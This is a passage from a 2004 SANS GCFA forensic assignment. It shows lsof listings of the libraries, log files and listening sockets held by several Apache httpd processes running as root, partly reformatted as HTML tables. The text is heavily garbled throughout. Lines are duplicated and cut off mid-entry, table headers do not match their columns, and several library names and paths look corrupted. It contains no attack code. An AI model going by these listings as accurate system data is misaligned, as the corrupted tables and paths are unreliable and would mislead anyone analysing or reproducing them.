/usr/lib/locale/en_US.iso885915/LC_CTYPE
httpd 10613 root mem REG 3,2 1264225 229530 /usr/lib/apache/libperl.so
httpd 10613 root mem REG 3,2 427611 440533 /lib/libkerberos/lib/krb5.so.3.1
httpd 10613 root mem REG 3,2 191615 65351 /usr/lib/libldap.so.2.0.15
httpd 10613 root mem REG 3,2 48583 65345 /lib/libssl.so.1.1.8
httpd 10613 root mem REG 3,5 46117 65351 /lib/libnss_nssplus-2.2.5.so
httpd 10613 root mem REG 3,5 1401027 1730 /lib/lib686/libc-2.2.5.so
httpd 10613 root 0r CHR 1,3 9637 /dev/null
httpd 10613 root 1w CHR 1,3 9637 /dev/null
httpd 10613 root 2w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 10613 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
httpd 10613 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
(deleted)
httpd 10613 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
httpd 10613 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 10613 root 16u IPv4 361623 TCP *:https (LISTEN)
httpd 10613 root 17u IPv4 361624 TCP *:https (LISTEN)
httpd 10613 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
httpd 10613 root 19w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
httpd 19365 root cwd DIR 3,5 1024 2 /
httpd 19365 root rtd DIR 3,5 1024 2 /
httpd 19365 root txt REG 3,2 290169 131802 /var/run/httpd
httpd 19365 root mem REG 3,2 89547 63490 /lib/id-ld-2.2.5.so
httpd 19365 root mem REG 3,2 9883 229527 /usr/lib/apache/mod_vhost_alias.so
httpd 19365 root mem REG 3,2 8301 229506 /usr/lib/apache/mod_env.so
httpd 19365 root mem REG 3,2 176368 229514 /usr/lib/apache/mod_log_config.so
httpd 19365 root mem REG 3,2 7438 229541 /usr/lib/apache/mod_log_agent.so
httpd 19365 root mem REG 3,2 8301 229515 /usr/lib/apache/mod_log_referer.so
httpd 19365 root mem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 19365 root mem REG 3,5 371 130311
/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
httpd 19365 root mem REG 3,5 101902 73734 /lib/id686/libpthread-0.9.so
httpd 19365 root mem REG 3,5 173359 73732 /lib/id686/libc-2.2.5.so
httpd 19365 root mem REG 3,5 23579 63501 /lib/libcrypto-2.2.5.so
httpd 19365 root mem REG 3,5 30282 65273 /usr/lib/libgd.so.2.0.0
httpd 19365 root mem REG 3,5 655224 65343 /lib/libdb-3.3.so
httpd 19365 root mem REG 3,2 19662 66292 /usr/lib/libmm.so.11.0.23
httpd 19365 root mem REG 3,2 141735 65380 /usr/lib/libexpat.so.0.1.0
httpd 19365 root mem REG 3,2 12102 65303 /lib/libdl-2.2.5.so
httpd 19365 root mem REG 3,2 14929 229516 /usr/lib/apache/mod_mime.so
httpd 19365 root mem REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 19365 root mem REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
httpd 19365 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 19365 root mem REG 3,2 35886 229511 /usr/lib/apache/mod_include.so
httpd 19365 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 19365 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 19365 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 19365 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_imap.so
httpd 19365 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_actions.so
httpd 19365 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 19365 root mem REG 3,2 10617 229495 /usr/lib/apache/mod_alias.so
httpd 19365 root mem REG 3,2 53189 229520 /usr/lib/apache/mod_rewrite.so
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>PID</th>
<th>Mode</th>
<th>Priority</th>
<th>Size</th>
<th>Address</th>
<th>Command</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>19365</td>
<td>mem</td>
<td>REG 3,2</td>
<td>10034</td>
<td>229493</td>
<td>/usr/lib/apache/mod_access.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19365</td>
<td>mem</td>
<td>REG 3,2</td>
<td>11985</td>
<td>229497</td>
<td>/usr/lib/apache/mod_auth.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19365</td>
<td>mem</td>
<td>REG 3,2</td>
<td>8486</td>
<td>229498</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19365</td>
<td>mem</td>
<td>REG 3,2</td>
<td>9304</td>
<td>229499</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19365</td>
<td>mem</td>
<td>REG 3,2</td>
<td>9800</td>
<td>229508</td>
<td>/usr/lib/apache/mod_expires.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19365</td>
<td>mem</td>
<td>REG 3,2</td>
<td>8261</td>
<td>229509</td>
<td>/usr/lib/apache/mod_headers.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19365</td>
<td>mem</td>
<td>REG 3,2</td>
<td>10176</td>
<td>229521</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19365</td>
<td>mem</td>
<td>REG 3,2</td>
<td>9900</td>
<td>229526</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19365</td>
<td>mem</td>
<td>REG 3,2</td>
<td>9900</td>
<td>229526</td>
<td>/usr/lib/apache/mod_expires.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19365</td>
<td>mem</td>
<td>REG 3,2</td>
<td>9900</td>
<td>229526</td>
<td>/usr/lib/apache/mod_headers.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19365</td>
<td>mem</td>
<td>REG 3,2</td>
<td>9900</td>
<td>229526</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
</tr>
</tbody>
</table>

- Key fingerprint = 0AF1 9FA2 72F9 499D 5DB5 DE3D 2F8B 506E 4A16 94E4
- © SANS Institute 2004, Author retains full rights.

Kevin Miller - Sans GCFA Assignment – v1.4
Page 151
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Type</th>
<th>Size (KB)</th>
<th>Address (Bytes)</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>655224</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>19662</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>141735</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>12102</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>14929</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>27415</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>18365</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>19959</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>35886</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>27836</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>14940</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>6924</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>15974</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>8541</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>8770</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>10617</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>53189</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>10034</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>11985</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>8486</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>9304</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>9900</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>8261</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>10176</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>92407</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>11174</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>122952</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>210094</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>1453199</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>8621</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>20666</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>29</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>65</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>161</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>83</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>40</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>58</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>292</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>22592</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>131560</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>59778</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>146819</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>924879</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>207008</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>68925</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>153026</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>290511</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>215482</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>196866</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>717774</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>66646</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>189626</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>295833</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>140418</td>
</tr>
</tbody>
</table>
httpd 19368 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 19368 root mem REG 3,2 122952 229529 /usr/lib/apache/livedav.so
httpd 19368 root mem REG 3,2 210094 440043 /usr/lib/apache/libcom_err.so.3.0
httpd 19368 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
httpd 19368 root mem REG 3,2 29 130312

/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
httpd 19368 root mem REG 3,2 65 130316
/usr/lib/locale/en_US.iso885915/LC_TELEPHONE
httpd 19368 root mem REG 3,2 161 130310
/usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 19368 root mem REG 3,2 83 130314
/usr/lib/locale/en_US.iso885915/LC_NAME
httpd 19368 root mem REG 3,2 58 130314
/usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 19368 root mem REG 3,2 40 130314
/usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 19368 root mem REG 3,2 229529 130323
/usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 19368 root mem REG 3,5 89424 63507 /lib/libnsl-2.2.5.so
httpd 19368 root mem REG 3,2 1561021 229530 /usr/lib/apache/libphp4.so
httpd 19368 root mem REG 3,2 146819 66039 /usr/lib/libpspell-modules.so.1.0.1
httpd 19368 root mem REG 3,2 426442 65304 /usr/lib/libstdc++-3-2.10.0.so
httpd 19368 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.12.12
httpd 19368 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
httpd 19368 root mem REG 3,2 146819 66039 /usr/lib/libpspell.so.4.0.3
httpd 19368 root mem REG 3,2 290511 65311 /usr/lib/libncurses.so.5.2
httpd 19368 root mem REG 3,2 215482 65389 /usr/lib/libgmp.so.3.2.1
httpd 19368 root mem REG 3,2 196866 66287 /usr/lib/libgd.so.1.8.4
httpd 19368 root mem REG 3,2 717774 65410 /usr/lib/libxml2.so.2.4.19
httpd 19368 root mem REG 3,2 66646 65263 /usr/lib/libbz2.so.1.0.2
httpd 19368 root mem REG 3,2 189626 65384 /usr/lib/libttf.so.2.3.0
httpd 19368 root mem REG 3,2 295833 65382 /usr/lib/libfreetype.so.6.3.0
httpd 19368 root mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
httpd 19368 root mem REG 3,2 79725 440048 /usr/kerberos/lib/libk5crypto.so.3.0
httpd 19368 root mem REG 3,2 42069 425002 /usr/lib/php/ldap.so
httpd 19368 root mem REG 3,2 44992 65349 /usr/lib/libber.so.2.0.15
httpd 19368 root mem REG 3,2 45415 63523 /lib/libnss_files-2.2.5.so
httpd 19368 root mem REG 3,2 2457 44202 /var/log/httpd/error_log
httpd 19368 root mem REG 3,2 1729 130317
/loc...
Kevin Miller - Sans GCFA Assignment – v1.4

httpd 19368 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
httpd 19368 root 19w REG 3,6 0 44198 /var/log/httpd/nsl_request_log
httpd 19369 root cwd DIR 3,5 1024 2 /
httpd 19369 root rtd DIR 3,5 1024 2 /
httpd 19369 root mem REG 3,2 290169 131802 /usr/bin/httpd
httpd 19369 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
httpd 19369 root mem REG 3,2 9883 229527 /usr/lib/apache/mod_vhost_alias.so
httpd 19369 root mem REG 3,2 8301 229506 /usr/lib/apache/mod_env.so
httpd 19369 root mem REG 3,2 17638 229514 /usr/lib/apache/mod_log_config.so
httpd 19369 root mem REG 3,2 7438 229513 /usr/lib/apache/mod_log_agent.so
httpd 19369 root mem REG 3,2 8530 229515 /usr/lib/apache/mod_log_referer.so
httpd 19369 root mem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 19369 root mem REG 3,2 371 130311

/usr/lib/libgdbm.so.2.0.0 -
/usr/lib/libexpat.so.0.1.0 -
/usr/lib/apache/mod_auth.so -
REG 3,2 8274 229503 /usr/lib/apache/mod_dir.so
229529 /usr/lib/apache/libdav.so
vif.so
REG 3,2 8621 440043 /usr/kerberos/lib/libcom_err.so.3.0
EG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
9 root mem REG 3,2 9883 229527 /usr/lib/apache/mod_vhost_alias.so
httpd 19369 root mem REG 3,5 12102 63503 /lib/libssl.so.3.3.so
229529 /usr/lib/apache/libdav.so
vif.so
5 35340 63567 /lib/libpam.so.0.75
2 /
httpd 19369 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 19369 root mem REG 3,5 11174 63541 /lib/libutil.so
httpd 19369 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 19369 root mem REG 3,2 122952
httpd 19369 root mem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 19369 root mem REG 3,2 371 130311

httpd 19369 root mem REG 3,5 101902 73734 /lib/i686/libpthread-0.9.so
httpd 19369 root mem REG 3,5 173359 73732 /lib/i686/libm-2.2.5.so
httpd 19369 root mem REG 3,5 23575 63501 /lib/ld.so.1.0.1
httpd 19369 root mem REG 3,2 30242 65273 /usr/lib/libgdbm.so.2.0.0
httpd 19369 root mem REG 3,5 655224 63543 /lib/libdb-3.3.so
httpd 19369 root mem REG 3,2 19662 66292 /usr/lib/libnm.so.11.0.23
httpd 19369 root mem REG 3,2 141735 65380 /usr/lib/libexpat.so.0.1.0
httpd 19369 root mem REG 3,5 12102 63503 /lib/libssl.so.3.3.so
httpd 19369 root mem REG 3,2 14929 229516 /usr/lib/apache/mod_mine.so
httpd 19369 root mem REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 19369 root mem REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
httpd 19369 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 19369 root mem REG 3,2 35886 229511 /usr/lib/apache/mod_include.so
httpd 19369 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 19369 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 19369 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 19369 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_actions.so
httpd 19369 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_userdir.so
httpd 19369 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 19369 root mem REG 3,2 53189 229520 /usr/lib/apache/mod_rewrite.so
httpd 19369 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 19369 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19369 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 19369 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 19369 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 19369 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19369 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19369 root mem REG 3,2 92407 440046

httpd 19369 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 19369 root mem REG 3,2 122952 229529 /usr/lib/apache/libdbv.so
httpd 19369 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 19369 root mem REG 3,2 1453198 425001 /usr/lib/php4/mod_php.so
httpd 19369 root mem REG 3,2 8621 440043 /usr/kerberos/lib/libcom_err.so.3.0
httpd 19369 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
httpd 19369 root mem REG 3,2 29 130312

httpd 19369 root mem REG 3,2 65 130316
httpd 19369 root mem REG 3,2 161 130310
httpd 19369 root mem REG 3,2 83 130314
httpd 19369 root mem REG 3,2 40 130315
httpd 19369 root mem REG 3,2 58 179360
httpd 19369 root mem REG 3,2 292 130313
httpd 19369 root mem REG 3,2 22592 130323

httpd 19369 root mem REG 3,5 89424 63507 /lib/libxml2-2.2.5.so
httpd 19369 root mem REG 3,2 1561021 229551 /usr/lib/apache/libpam.so.0.75
httpd 19369 root mem REG 3,2 35340 65367 /lib/libpam.so.0.75
httpd 19369 root mem REG 3,2 28138 66033 /usr/lib/libstdl.so.3.1.0
httpd 19369 root mem REG 3,2 5300 66039 /usr/lib/libssp-cert-modules.so.1.0.1

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
### Kevin Miller - Sans GCFA Assignment – v1.4

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Type</th>
<th>Command</th>
<th>Args</th>
<th>Hostname</th>
<th>Port</th>
<th>Protocol</th>
<th>State</th>
<th>Flags</th>
<th>PID</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>426442</td>
<td>65304</td>
<td>/usr/lib/</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/lib/db</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2</td>
<td>131560</td>
<td>65396</td>
</tr>
<tr>
<td>/lib/db</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
<td>65358</td>
</tr>
<tr>
<td>/lib/db</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2</td>
<td>146819</td>
<td>66089</td>
</tr>
<tr>
<td>/lib/db</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>REG</td>
<td>3,5</td>
<td>924879</td>
<td>63562</td>
</tr>
<tr>
<td>/lib/db</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>REG</td>
<td>3,5</td>
<td>207008</td>
<td>63563</td>
</tr>
<tr>
<td>/lib/db</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>REG</td>
<td>3,5</td>
<td>68925</td>
<td>63535</td>
</tr>
<tr>
<td>/lib/db</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2</td>
<td>153026</td>
<td>66042</td>
</tr>
<tr>
<td>/lib/db</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2</td>
<td>290511</td>
<td>65311</td>
</tr>
<tr>
<td>/lib/db</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2</td>
<td>215482</td>
<td>65386</td>
</tr>
<tr>
<td>/lib/db</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2</td>
<td>195686</td>
<td>66287</td>
</tr>
<tr>
<td>/lib/db</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2</td>
<td>717774</td>
<td>65410</td>
</tr>
<tr>
<td>/lib/db</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2</td>
<td>666464</td>
<td>65263</td>
</tr>
<tr>
<td>/lib/db</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2</td>
<td>189626</td>
<td>65384</td>
</tr>
<tr>
<td>/lib/db</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2</td>
<td>295833</td>
<td>65382</td>
</tr>
<tr>
<td>/lib/db</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2</td>
<td>140418</td>
<td>65389</td>
</tr>
<tr>
<td>/lib/db</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>REG</td>
<td>3,2</td>
<td>79725</td>
<td>440048</td>
</tr>
</tbody>
</table>

(Deleted)
<table>
<thead>
<tr>
<th>Command</th>
<th>User</th>
<th>Type</th>
<th>PID</th>
<th>Fingerprint</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>27836</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>14940</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>6924</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>15974</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>8541</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>8770</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>10617</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>35318</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>10034</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>11985</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>9304</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>9900</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>10617</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>8486</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>9304</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>11985</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>9900</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>10617</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>8486</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>9304</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>11985</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>9900</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>10617</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>8486</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>9304</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>11985</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>9900</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>10617</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>8486</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>9304</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>11985</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>9900</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>19370</td>
<td>REG 3,2</td>
<td>10617</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.
